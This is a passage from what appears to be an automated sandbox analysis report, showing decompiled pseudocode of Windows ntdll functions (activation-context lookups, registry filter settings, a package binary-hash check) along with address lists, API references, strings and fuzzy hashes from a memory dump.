							_t132 = _t57;
							_t120 =  *_t132;
							_t58 = _t142 + 0x1fc; // 0x22c
							_t148 = _t58;
							_v536 = _t132;
							_v552 = _t148;
							if(_t120 == 0) {
								goto L33;
							}
							_t143 =  *((intOrPtr*)(_t120 + 0x18)) + _t120;
							_v568 = _t143;
							if( *_t148 != 0) {
								goto L26;
							}
							_t121 =  *((intOrPtr*)(_t142 + 0x10));
							_t142 = 0x208;
							_t140 =  *(_t121 + 0x38);
							_t143 =  *(_t121 + 0x3c);
							_t150 = _t140 & 0x0000ffff;
							_v540 = _t140;
							_t67 = _t150 + 0xe; // 0x23a
							_t122 = _t67;
							if(_t122 > 0x208) {
								if(_t122 <= 0xfffe) {
									_t81 = _t140 + 0xe; // 0x6d256175
									_v546 = _t81;
									_t129 = E6D263A1C(_t81 & 0x0000ffff);
									_v544 = _t129;
									if(_t129 != 0) {
										L39:
										memcpy(_t129, _t143, _t150);
										_t132 = _v536;
										_v548 = _v540 + 0xc;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsw");
										_t143 = _v568;
										_t148 = _v552;
										goto L26;
									}
									_t149 = 0xc0000017;
									goto L21;
								}
								_t149 = 0xc0000106;
								goto L21;
							}
							_t129 =  &_v532;
							_v546 = 0x208;
							_v544 = _t129;
							goto L39;
						}
					}
					if(_t98 == 0xfffffffc) {
						goto L24;
					}
					if((_v540 & 0x00000003) != 0) {
						goto L22;
					}
					_t33 = _t98 + 0x10; // 0x10
					_t132 = _t33;
					_t142 =  *_t132;
					if(_t142 == 0) {
						_t149 = 0xc00000e5;
						goto L21;
					}
					_t143 =  *((intOrPtr*)(_t142 + 0x18)) + _t142;
					_t106 = _t98 + 0x5c;
					goto L16;
				}
			}

0x6d27c707
0x6d27c719
0x6d27c720
0x6d27c726
0x6d27c730
0x6d27c736
0x6d27c73c
0x6d27c742
0x6d27c746
0x6d27c74c
0x6d27c74e
0x6d27c755
0x6d27c75b
0x6d27c764
0x6d27c765
0x6d27c76c
0x6d27c76f
0x6d27c775
0x6d27c77b
0x6d27c786
0x6d2ba7ef
0x6d2ba7f7
0x6d27c84b
0x6d27c85d
0x6d27c85d
0x6d27c792
0x6d27c79a
0x6d27c79c
0x6d27c79c
0x6d27c7a4
0x6d27c7ac
0x6d27c7ae
0x6d27c7ae
0x6d27c7b6
0x6d27c7be
0x6d27c7c0
0x6d27c7c0
0x6d27c7cc
0x6d2ba8a6
0x6d2ba8ac
0x6d2ba8b2
0x6d2ba8b3
0x6d2ba8c7
0x6d2ba8cf
0x00000000
0x6d27c7f2
0x6d27c7f4
0x6d27c860
0x6d27c863
0x6d27c872
0x6d27c872
0x6d27c872
0x6d27c878
0x6d27c87a
0x6d27c87a
0x6d27c880
0x6d27c886
0x6d27c88e
0x00000000
0x00000000
0x6d27c893
0x00000000
0x6d27c90f
0x6d27c911
0x6d2ba812
0x6d27c895
0x6d27c895
0x6d27c899
0x6d27c908
0x6d27c908
0x6d27c819
0x6d27c819
0x6d27c81f
0x6d27c829
0x6d27c82b
0x6d27c833
0x6d27c835
0x6d27c835
0x6d27c837
0x00000000
0x6d27c89f
0x6d27c89f
0x6d27c8a7
0x6d2ba85b
0x6d27c839
0x6d27c83b
0x6d2ba8e0
0x6d2ba8e0
0x00000000
0x6d27c83b
0x6d27c8c4
0x6d27c8c8
0x6d2ba865
0x6d2ba87e
0x6d2ba87e
0x00000000
0x6d2ba87e
0x6d27c8ce
0x6d27c8d1
0x6d27c8d7
0x6d27c8dc
0x6d27c8e0
0x6d2ba879
0x00000000
0x6d2ba879
0x6d27c8e6
0x6d27c8f0
0x6d27c8f6
0x6d2ba88b
0x6d2ba89c
0x6d2ba89c
0x6d27c8fc
0x6d27c902
0x00000000
0x6d27c902
0x6d27c899
0x6d2ba818
0x6d27c917
0x6d27c917
0x6d27c91d
0x6d27c91f
0x6d27c91f
0x6d27c925
0x6d27c92b
0x6d27c933
0x00000000
0x00000000
0x6d27c938
0x6d27c93d
0x6d27c943
0x00000000
0x00000000
0x6d27c949
0x6d27c94c
0x6d27c951
0x6d27c954
0x6d27c957
0x6d27c95a
0x6d27c960
0x6d27c960
0x6d27c965
0x6d2ba822
0x6d2ba82e
0x6d2ba831
0x6d2ba841
0x6d2ba843
0x6d2ba84b
0x6d27c97e
0x6d27c981
0x6d27c994
0x6d27c99a
0x6d27c9a9
0x6d27c9aa
0x6d27c9ab
0x6d27c9ac
0x6d27c9ae
0x6d27c9b4
0x00000000
0x6d27c9b4
0x6d2ba851
0x00000000
0x6d2ba851
0x6d2ba824
0x00000000
0x6d2ba824
0x6d27c96b
0x6d27c971
0x6d27c978
0x00000000
0x6d27c978
0x6d27c863
0x6d27c7f9
0x00000000
0x00000000
0x6d27c802
0x00000000
0x00000000
0x6d27c804
0x6d27c804
0x6d27c807
0x6d27c80b
0x6d2ba801
0x00000000
0x6d2ba801
0x6d27c814
0x6d27c816
0x00000000
0x6d27c816

APIs

RtlAllocateHeap.1105(?,00000000,?,?,?,00000002), ref: 6D27C8BF
memcpy.1105(00000000,?,0000022C,E850CF8B,?,?,00000002), ref: 6D27C981
DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlpGetActivationContextDataStorageMapAndRosterHeader,?,?,00000002), ref: 6D2BA7EF

Strings

SXS: %s() passed the empty activation context, xrefs: 6D2BA7E6
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 6D2BA7E1, 6D2BA8B9
.Local, xrefs: 6D27C9A4
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 6D2BA8BE

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrintmemcpy
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 3847278171-1239276146
Opcode ID: ac65984aeb048cbeb88e3f4c0ac9c80fa3d25b122c7d4f4caeb858cf1a04024f
Instruction ID: 9bb4eeef93c14decb7a08c3c969fa95a59c483ba4098d54a359459336d2f9848
Opcode Fuzzy Hash: ac65984aeb048cbeb88e3f4c0ac9c80fa3d25b122c7d4f4caeb858cf1a04024f
Instruction Fuzzy Hash: 24A1BB7198022FDBDB35CF68D884BA9B3B1BF59719F1141EAD818AB250D7709E81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6D280F48, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 188
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D280F48(signed short* __ecx, long* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed short* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed short _v36;
				signed int _v40;
				long* _v48;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				intOrPtr _v60;
				void* _v64;
				void* _t60;
				void* _t66;
				void* _t69;
				void* _t72;
				intOrPtr _t87;
				char _t93;
				signed int* _t95;
				intOrPtr _t97;
				signed int _t101;
				intOrPtr _t104;
				signed int _t107;
				signed short _t109;
				char _t110;
				intOrPtr _t111;
				intOrPtr* _t114;
				intOrPtr _t116;
				void* _t117;
				signed int _t118;
				void* _t120;

				_t120 = (_t118 & 0xfffffff8) - 0x3c;
				_v48 = __edx;
				_t87 = _a4;
				 *_a8 = 0;
				_t107 =  *__ecx & 0x0000ffff;
				_v52 = 0;
				_v56 = 0;
				_v57 = 0;
				_t101 = _t107;
				_t114 = __ecx[2] + _t101;
				_v40 = __ecx;
				if(_t87 != 0) {
					if(_t101 + 2 > (__ecx[1] & 0x0000ffff)) {
						L28:
						_t60 = 0xc000000d;
						goto L16;
					}
					_t93 = 0;
					if( *_t114 == 0) {
						goto L2;
					}
					goto L28;
				} else {
					_t93 = 0;
					L2:
					if(_t101 == 0) {
						L7:
						_t109 = _t107 - _t101;
						_v32 = _t114;
						_v36 = _t109;
						if((_t109 & 0x0000ffff) != _t109) {
							_t60 = 0xc0000023;
							L16:
							return _t60;
						}
						if(_t87 != 0) {
							_t116 = _v48;
							_v58 = 1;
							_t60 = E6D2810D7( &_v52, _t116, _t87);
						} else {
							_v58 = _t93;
							_t60 = E6D28108B( &_v52);
							_t116 = _v48;
						}
						if(_t60 < 0) {
							goto L16;
						} else {
							_t110 = _v52;
							_v20 =  &_v36;
							_v28 = 0x18;
							_v24 = _t110;
							_v16 = 0x240;
							_v12 = 0;
							_v8 = 0;
							if(_t87 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6D2896D0();
							} else {
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6D289600();
							}
							_t117 = _t66;
							if(_v58 != 0) {
								_push(_t110);
								E6D2895D0();
							}
							if(_t117 >= 0) {
								_t95 =  &_v52;
								_v52 = _v56;
								_t69 = E6D248239(_t95, _v48, _v40);
								_t111 = _v56;
								_t117 = _t69;
								if(_t117 < 0) {
									L24:
									if(_t111 != 0) {
										_push(_t111);
										E6D2895D0();
									}
									goto L15;
								}
								_t104 = _v56;
								if(_v57 != 0 && _t111 == _t104 && _t87 != 0) {
									_push(_t95);
									_v52 = 0;
									_t72 = E6D2D8372( &_v52, _t104, _v48);
									_t111 = _v60;
									_t117 = _t72;
									if(_t117 >= 0) {
										_t117 = E6D256D30( &_v52, L"FilterFullPath");
										if(_t117 >= 0) {
											_t97 =  *((intOrPtr*)(_t120 + 0x24));
											_push( *(_t97 + 2) & 0x0000ffff);
											_push( *((intOrPtr*)(_t97 + 4)));
											_push(1);
											_push(0);
											_push( &_v52);
											_push(_t111);
											_t117 = E6D289B00();
											if(_t117 >= 0) {
												 *((intOrPtr*)(_t120 + 0x28)) = 1;
												_t117 = E6D256D30( &_v52, L"UseFilter");
												if(_t117 >= 0) {
													_push(4);
													_push(_t120 + 0x28);
													_push(4);
													_push(0);
													_push( &_v52);
													_push(_v60);
													_t117 = E6D289B00();
												}
											}
										}
									}
									_push(_v60);
									E6D2895D0();
								}
								if(_t117 < 0) {
									goto L24;
								} else {
									 *_a8 = _t111;
									goto L15;
								}
							} else {
								L15:
								_t60 = _t117;
								goto L16;
							}
						}
					}
					L3:
					L3:
					if( *((short*)(_t114 - 2)) == 0x5c) {
						_v57 = 1;
					} else {
						goto L4;
					}
					goto L7;
					L4:
					_t114 = _t114 + 0xfffffffe;
					_t101 = _t101;
					if(_t101 != 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
			}

0x6d280f50
0x6d280f55
0x6d280f5f
0x6d280f63
0x6d280f69
0x6d280f6c
0x6d280f70
0x6d280f74
0x6d280f78
0x6d280f7a
0x6d280f7c
0x6d280f82
0x6d2bcc82
0x6d2bcc8f
0x6d2bcc8f
0x00000000
0x6d2bcc8f
0x6d2bcc84
0x6d2bcc89
0x00000000
0x00000000
0x00000000
0x6d280f88
0x6d280f88
0x6d280f8a
0x6d280f8c
0x6d280fa5
0x6d280fa5
0x6d280fa7
0x6d280fae
0x6d280fb5
0x6d2bcc99
0x6d281029
0x6d28102f
0x6d28102f
0x6d280fbd
0x6d2bcca3
0x6d2bccae
0x6d2bccb3
0x6d280fc3
0x6d280fc3
0x6d280fcb
0x6d280fd0
0x6d280fd0
0x6d280fd6
0x00000000
0x6d280fd8
0x6d280fd8
0x6d280fe0
0x6d280fe6
0x6d280fee
0x6d280ff2
0x6d280ffa
0x6d280ffe
0x6d281004
0x6d2bccbd
0x6d2bccbe
0x6d2bccbf
0x6d2bccc0
0x6d2bccc5
0x6d2bccc6
0x6d2bcccb
0x6d2bcccc
0x6d28100a
0x6d28100e
0x6d28100f
0x6d281014
0x6d281015
0x6d281015
0x6d28101f
0x6d281021
0x6d281077
0x6d281078
0x6d281078
0x6d281025
0x6d281036
0x6d281042
0x6d281046
0x6d28104b
0x6d28104f
0x6d281053
0x6d28107f
0x6d281081
0x6d281083
0x6d281084
0x6d281084
0x00000000
0x6d281081
0x6d28105a
0x6d28105e
0x6d2bccd6
0x6d2bcce1
0x6d2bcce5
0x6d2bccea
0x6d2bccee
0x6d2bccf2
0x6d2bcd03
0x6d2bcd07
0x6d2bcd09
0x6d2bcd11
0x6d2bcd12
0x6d2bcd19
0x6d2bcd1b
0x6d2bcd1c
0x6d2bcd1d
0x6d2bcd23
0x6d2bcd27
0x6d2bcd32
0x6d2bcd40
0x6d2bcd44
0x6d2bcd46
0x6d2bcd4c
0x6d2bcd4d
0x6d2bcd4f
0x6d2bcd54
0x6d2bcd55
0x6d2bcd5e
0x6d2bcd5e
0x6d2bcd44
0x6d2bcd27
0x6d2bcd07
0x6d2bcd60
0x6d2bcd64
0x6d2bcd64
0x6d28106e
0x00000000
0x6d281070
0x6d281073
0x00000000
0x6d281073
0x6d281027
0x6d281027
0x6d281027
0x00000000
0x6d281027
0x6d281025
0x6d280fd6
0x00000000
0x6d280f8e
0x6d280f93
0x6d280fa0
0x00000000
0x00000000
0x00000000
0x00000000
0x6d280f95
0x6d280f95
0x6d280f99
0x6d280f9c
0x00000000
0x6d280f9e
0x00000000
0x6d280f9e
0x6d280f9c

APIs

ZwOpenKey.1105(?,?,00000018), ref: 6D281015
ZwClose.1105(?,?,?,00000018), ref: 6D281078
ZwClose.1105(?,?,?,?,?,00000018), ref: 6D281084

Strings

UseFilter, xrefs: 6D2BCD29
FilterFullPath, xrefs: 6D2BCCF4

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Open
String ID: FilterFullPath$UseFilter
API String ID: 2976201327-4106802152
Opcode ID: 902932442b8ad8a46233bb3330c9cc5aaa48933605f6c5eeb28c19a7ce52a299
Instruction ID: ba35d240f3bf1ae0c954f084103b447e981fc7d5fc75c222c0c007321ff0bbf9
Opcode Fuzzy Hash: 902932442b8ad8a46233bb3330c9cc5aaa48933605f6c5eeb28c19a7ce52a299
Instruction Fuzzy Hash: 6361247158839A9BD302CF25C840A2BBBE8BFC9758F05492DFC9493282E731D948C792

Uniqueness

Uniqueness Score: -1.00%

Function 6D2C3540, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 130
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6D2C3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				void _v96;
				char _v352;
				void _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				void _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				void* _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x6d33d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E6D280BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E6D2C3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						memset( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E6D2C3540;
						memset( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E6D29DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E6D2D0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E6D2897C0();
					}
					return E6D28B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E6D2C3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E6D2C3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					memset( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E6D289650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E6D2C3787(_a4,  &_v352, _t80);
						}
					}
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v1168);
				}
				_push(_v1156);
				E6D2895D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x6d2c3552
0x6d2c355a
0x6d2c355d
0x6d2c3566
0x6d2c3567
0x6d2c357e
0x6d2c358f
0x6d2c35a1
0x6d2c35a5
0x6d2c366b
0x6d2c366b
0x6d2c366d
0x6d2c3672
0x6d2c3679
0x6d2c3685
0x6d2c368d
0x6d2c369d
0x6d2c36a7
0x6d2c36b8
0x6d2c36c6
0x6d2c36c7
0x6d2c36dc
0x6d2c36e1
0x6d2c36e7
0x6d2c36e9
0x6d2c36e9
0x6d2c3703
0x6d2c3703
0x6d2c35b5
0x6d2c35c0
0x6d2c35c4
0x00000000
0x00000000
0x6d2c35ca
0x6d2c35d7
0x6d2c35e2
0x6d2c35e6
0x6d2c35e8
0x6d2c35f5
0x6d2c35fa
0x6d2c3603
0x6d2c3604
0x6d2c3609
0x6d2c360a
0x6d2c3612
0x6d2c3613
0x6d2c361e
0x6d2c3622
0x6d2c3628
0x6d2c362f
0x6d2c362f
0x6d2c3636
0x6d2c3638
0x6d2c363b
0x6d2c3642
0x6d2c3642
0x6d2c3636
0x6d2c3657
0x6d2c3657
0x6d2c365c
0x6d2c3662
0x6d2c3669
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlQueryPackageIdentityEx.1105(000000FC,?,?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6D2C359C

Part of subcall function 6D280BE0: RtlQueryPackageClaims.1105(00000000,?,00000000,?,00000000,?,?,00000000,?,00000000,?,00000000,00000000), ref: 6D280C14

memset.1105(?,00000000,00000050,?,?,000000FC,?,?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6D2C35F5
ZwQueryValueKey.1105(?,?,00000002,?,00000050,?,?,00000000,00000000), ref: 6D2C3619
RtlFreeHeap.1105(?,00000000,?,?,?,00000002,?,00000050,?,?,00000000,00000000), ref: 6D2C3657
ZwClose.1105(?,?,?,000000FC,?,?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6D2C3662
memset.1105(?,00000000,00000050,000000FC,?,?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6D2C3685
memset.1105(?,00000000,000002CC,?,00000000,00000000), ref: 6D2C36B8
RtlCaptureContext.1105(?,?,?,?,?,00000000,00000000), ref: 6D2C36C7
RtlReportException.1105(060C201E,?,00000002,?,?,?,?,?,00000000,00000000), ref: 6D2C36DC
ZwTerminateProcess.1105(000000FF,060C201E,060C201E,?,00000002,?,?,?,?,?,00000000,00000000), ref: 6D2C36E9

Part of subcall function 6D2C3971: ZwOpenKeyEx.1105(00000000,00020019,?,00000000,?,00000000), ref: 6D2C3A81

Part of subcall function 6D2C3884: ZwQueryValueKey.1105(?,00000000,00000002,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 6D2C38BF
Part of subcall function 6D2C3884: RtlAllocateHeap.1105(?,00000008,00000000,?,00000000,00000002,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 6D2C38E5

Strings

BinaryHash, xrefs: 6D2C358F

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Query$memset$HeapPackageValue$AllocateCaptureClaimsCloseContextExceptionFreeIdentityOpenProcessReportTerminate
String ID: BinaryHash
API String ID: 428162740-2202222882
Opcode ID: c2916be425e20960a2ac7193bbc333427200d09c4681c69ad897225e007c7bf1
Instruction ID: cf2daa6b20e3a5440309bd6bc1c20fc2b2597b43b28fdb8a6780f0ee7ba349ea
Opcode Fuzzy Hash: c2916be425e20960a2ac7193bbc333427200d09c4681c69ad897225e007c7bf1
Instruction Fuzzy Hash: E34146B1D4452D9BDB61CB50CC80FDEB77CAB44718F1146A5E709AB241DB309E88CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6D27C63D, Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E6D27C63D(signed int __ecx, intOrPtr __edx, signed int _a4, intOrPtr* _a8, intOrPtr _a16) {
				void* _v8;
				void* _v12;
				char _v16;
				void _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr* _t34;
				signed int _t35;
				intOrPtr _t38;
				signed int _t41;
				void* _t43;

				_t38 = __edx;
				_t35 = __ecx;
				_t21 =  *[fs:0x30];
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				if(__edx == 0x6d22127c) {
					E6D2D5720(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlGetAssemblyStorageRoot");
					goto L23;
				} else {
					_t34 = _a8;
					if(_t34 != 0) {
						 *_t34 = 0;
					}
					_t41 = _a4;
					if((_t35 & 0xfffffffc) != 0 || _t41 < 1 || _t34 == 0) {
						_push(E6D27CCC0);
						_push(_t34);
						_push(_t41);
						_push(_t35);
						E6D2D5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags              : 0x%lx\nSXS:    AssemblyRosterIndex: 0x%lx\nSXS:    AssemblyStorageRoot: %p\nSXS:    Callback           : %p\n", "RtlGetAssemblyStorageRoot");
						goto L23;
					} else {
						_t43 = E6D27C707(_t35 & 0x00000003, _t21, _t38,  &_v12,  &_v8,  &_v16);
						if(_t43 < 0) {
							_push(_t43);
							_push("SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header.  Status = 0x%08lx\n");
							goto L20;
						} else {
							_t40 = _v12;
							if(_v12 == 0) {
								L14:
								_t43 = 0;
							} else {
								_t27 = _v16;
								if(_t27 == 0) {
									L16:
									_t43 = 0xc00000e5;
								} else {
									_t37 = _v8;
									if(_v8 == 0) {
										goto L16;
									} else {
										if(_t41 >=  *((intOrPtr*)(_t27 + 8))) {
											_push( *((intOrPtr*)(_t27 + 8)));
											_push(_t41);
											E6D2D5720(0x33, 0, "SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx\n", "RtlGetAssemblyStorageRoot");
											L23:
											_t43 = 0xc000000d;
										} else {
											_t43 = E6D27C9BF(_t37, _t40, _t41, _t37, _a16);
											if(_t43 < 0) {
												_push(_t43);
												_push("SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry.  Status = 0x%08lx\n");
												L20:
												_push(0);
												_push(0x33);
												E6D2D5720();
											} else {
												_t32 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + _t41 * 4));
												if(_t32 == 0) {
													goto L16;
												} else {
													 *_t34 = _t32 + 4;
													goto L14;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return _t43;
			}

0x6d27c63d
0x6d27c63d
0x6d27c645
0x6d27c64f
0x6d27c652
0x6d27c655
0x6d27c65f
0x6d2ba775
0x00000000
0x6d27c665
0x6d27c665
0x6d27c66a
0x6d27c66c
0x6d27c66c
0x6d27c66e
0x6d27c677
0x6d2ba7ba
0x6d2ba7bf
0x6d2ba7c0
0x6d2ba7c1
0x6d2ba7cf
0x00000000
0x6d27c68e
0x6d27c6a5
0x6d27c6a9
0x6d2ba77f
0x6d2ba780
0x00000000
0x6d27c6af
0x6d27c6af
0x6d27c6b4
0x6d27c6f3
0x6d27c6f3
0x6d27c6b6
0x6d27c6b6
0x6d27c6bb
0x6d27c700
0x6d27c700
0x6d27c6bd
0x6d27c6bd
0x6d27c6c2
0x00000000
0x6d27c6c4
0x6d27c6c7
0x6d2ba79e
0x6d2ba7a1
0x6d2ba7b0
0x6d2ba7d7
0x6d2ba7d7
0x6d27c6cd
0x6d27c6d7
0x6d27c6db
0x6d2ba787
0x6d2ba788
0x6d2ba78d
0x6d2ba78d
0x6d2ba78f
0x6d2ba791
0x6d27c6e1
0x6d27c6e7
0x6d27c6ec
0x00000000
0x6d27c6ee
0x6d27c6f1
0x00000000
0x6d27c6f1
0x6d27c6ec
0x6d27c6db
0x6d27c6c7
0x6d27c6c2
0x6d27c6bb
0x6d27c6b4
0x6d27c6a9
0x6d27c677
0x6d27c6fd

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlGetAssemblyStorageRoot,?,00000000,?,00000002,?,00000040,?,00000000,?), ref: 6D2BA775

Strings

SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 6D2BA780
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 6D2BA7C7
RtlGetAssemblyStorageRoot, xrefs: 6D2BA768, 6D2BA7A2, 6D2BA7C2
SXS: %s() passed the empty activation context, xrefs: 6D2BA76D
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 6D2BA788
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 6D2BA7A7

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 3558298466-861424205
Opcode ID: 41e3d9b40299bda7f7e3a61a582b72935dd648345fc757237d308364242780d6
Instruction ID: 08ac882d06294fa356c366ee367b5896d2f70aba45ad0c81cebdb503872f38cc
Opcode Fuzzy Hash: 41e3d9b40299bda7f7e3a61a582b72935dd648345fc757237d308364242780d6
Instruction Fuzzy Hash: FE3107B2AD412EBBF7318A658C80F7E7779EF52B99F024155F90077241D6B09E00A7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6D31F019, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E6D31F019(intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a8) {
				long _v8;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _t39;
				intOrPtr _t55;
				long _t56;
				intOrPtr* _t63;
				intOrPtr _t64;
				void* _t65;

				_v12 = _v12 & 0x00000000;
				_t55 = __edx;
				_t64 = __ecx;
				_v20 = __edx;
				_v24 = __ecx;
				RtlInitUnicodeString( &_v40, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\CommonGlobUserSettings\\");
				_t63 = _a8;
				_t56 = E6D31F13B(_t64, _t55,  &_v40, _t63,  &_v12);
				if(_t56 >= 0 && _v12 == 2) {
					_t56 = 0;
					_v16 = 0;
					_v8 = 0;
					RtlInitUnicodeString( &_v32, L"RedirectedKey");
					_t39 =  *0x6d226cc8( *_t63,  &_v32, 2, 0, 0,  &_v8);
					if(_v8 > 0 && (_t39 == 0xc0000023 || _t39 == 0x80000005)) {
						_t65 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v8);
						if(_t65 != 0) {
							_push( &_v8);
							_push(_v8);
							_push(_t65);
							_push(2);
							_push( &_v32);
							_push( *_t63);
							if( *0x6d226cc8() >= 0 &&  *((intOrPtr*)(_t65 + 4)) == 1) {
